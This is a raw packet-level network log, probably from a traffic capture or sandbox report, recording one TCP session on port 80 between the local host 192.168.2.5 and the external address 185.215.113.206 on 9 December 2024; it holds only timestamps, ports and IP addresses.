Dec 9, 2024 15:29:36.554001093 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.554045916 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.555475950 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.555489063 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.555538893 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.556874990 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.556900978 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.556952953 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.556972027 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.558350086 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.558365107 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.558408976 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.560153008 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.560167074 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.560292006 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.561482906 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.561496019 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.561553955 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.562936068 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.562958956 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.562990904 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.563008070 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.564606905 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.564620018 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.564671993 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.566150904 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.566205978 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.566216946 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.566231012 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.566248894 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.566262007 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.567732096 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.567744970 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.567800045 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.569303989 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.569317102 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.569364071 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.570880890 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.570893049 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.570943117 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.572493076 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.572508097 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.572559118 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.574098110 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.574111938 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.574121952 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.574162006 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.574191093 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.575664997 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.575679064 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.575736046 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.577172995 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.577234030 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.683614969 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.803361893 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.308463097 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.308480024 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.308490038 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.308537006 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.308577061 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.310594082 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.310607910 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.310619116 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.310693979 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.310725927 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.312927961 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.312941074 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.312997103 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.315500975 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.315556049 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.315593958 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.315624952 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.318016052 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.318028927 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.318069935 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.329349041 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.329405069 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.331235886 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.331249952 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.331296921 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.333220959 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.333235025 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.333297014 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.333297014 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.335287094 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.335300922 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.335318089 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.335339069 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.335354090 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.337449074 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.337462902 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.337495089 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.337510109 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.340120077 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.340132952 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.340178967 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.341784954 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.341798067 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.341840982 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.341855049 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.343713045 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.343803883 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.344760895 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.344774008 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.344784021 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.344816923 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.344852924 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.346693039 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.346707106 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.346756935 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.348490000 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.348503113 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.348514080 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.348551035 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.348581076 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.385279894 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.385354042 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.385672092 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.385734081 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.386578083 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.386589050 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.386639118 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.387851000 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.387862921 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.387906075 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.389570951 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.389588118 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.389627934 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.389655113 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.391350031 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.391362906 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.391402960 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.391417027 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.393148899 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.393161058 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.393208027 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.393241882 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.395098925 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.395112038 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.395149946 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.395170927 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.396684885 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.396697044 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.396739960 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.396760941 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.398458004 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.398469925 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.398675919 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.400717974 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.400731087 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.400774002 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.400789022 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.402435064 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.402447939 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.402494907 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.404505014 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.404522896 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.404555082 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.404567957 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.406455994 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.406469107 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.406481028 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.406514883 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.406529903 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.408370972 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.408382893 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.408437967 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.410500050 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.410511971 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.410547972 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.410562992 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.413305998 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.413320065 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.413360119 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.413372993 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.415543079 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.415564060 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.415575027 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.415606022 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.415640116 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.417112112 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.417129040 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.417195082 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.417284966 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.418853998 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.418867111 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.419190884 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.420527935 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.420541048 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.420586109 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.422219038 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.422230005 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.422240019 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.422274113 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.422288895 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.514806032 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.514878988 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.515309095 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.515361071 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.516182899 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.516201019 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.516239882 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.516290903 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.518033028 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.518090010 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.518870115 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.518914938 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.519758940 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.519772053 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.519825935 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.521555901 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.521568060 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.521627903 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.523363113 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.523375034 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.523443937 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.525095940 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.525109053 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.525168896 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.526875973 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.526910067 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.526952028 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.528664112 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.528676033 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.528728962 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.530622959 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.530635118 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.530700922 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.530724049 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.532665968 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.532679081 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.532748938 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.534744978 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.534764051 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.534797907 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.534831047 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.536587000 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.536600113 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.536609888 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.536644936 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.536673069 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.538575888 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.538633108 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.538678885 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.540765047 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.540779114 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.540836096 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.540873051 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.542895079 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.542913914 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.542951107 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.542979002 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.544601917 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.544615984 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.544625998 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.544657946 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.544686079 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.546534061 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.546546936 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.546613932 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.548499107 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.548520088 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.548569918 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.550463915 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.550477028 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.550544024 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.552382946 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.552397013 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.552433968 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.552455902 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.554362059 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.554377079 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.554387093 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.554436922 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.554462910 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.556344032 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.556358099 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.556406975 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.558283091 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.558303118 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.558362961 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.560313940 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.560328007 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.560384989 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.560419083 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.562355042 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.562366962 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.562391043 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.562410116 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.562439919 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.564261913 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.564274073 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.564325094 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.566212893 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.566225052 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.566287041 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.568193913 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.568207026 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.568244934 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.568265915 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.570343018 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.570415974 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.578152895 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.578239918 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.578484058 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.578656912 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.579462051 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.579477072 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.579535961 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.579562902 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.581283092 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.581346035 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.582451105 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.582468987 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.582515001 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.582544088 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.584033012 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.584114075 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.584846020 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.584868908 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.584917068 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.584927082 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.586853027 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.586868048 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.586920023 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.588398933 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.588413000 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.588459969 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.590097904 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.590112925 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.590169907 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.592283964 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.592295885 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.592343092 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.594064951 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.594078064 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.594137907 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.595765114 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.595777988 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.595892906 CET	49767	80	192.168.2.5	185.215.113.206
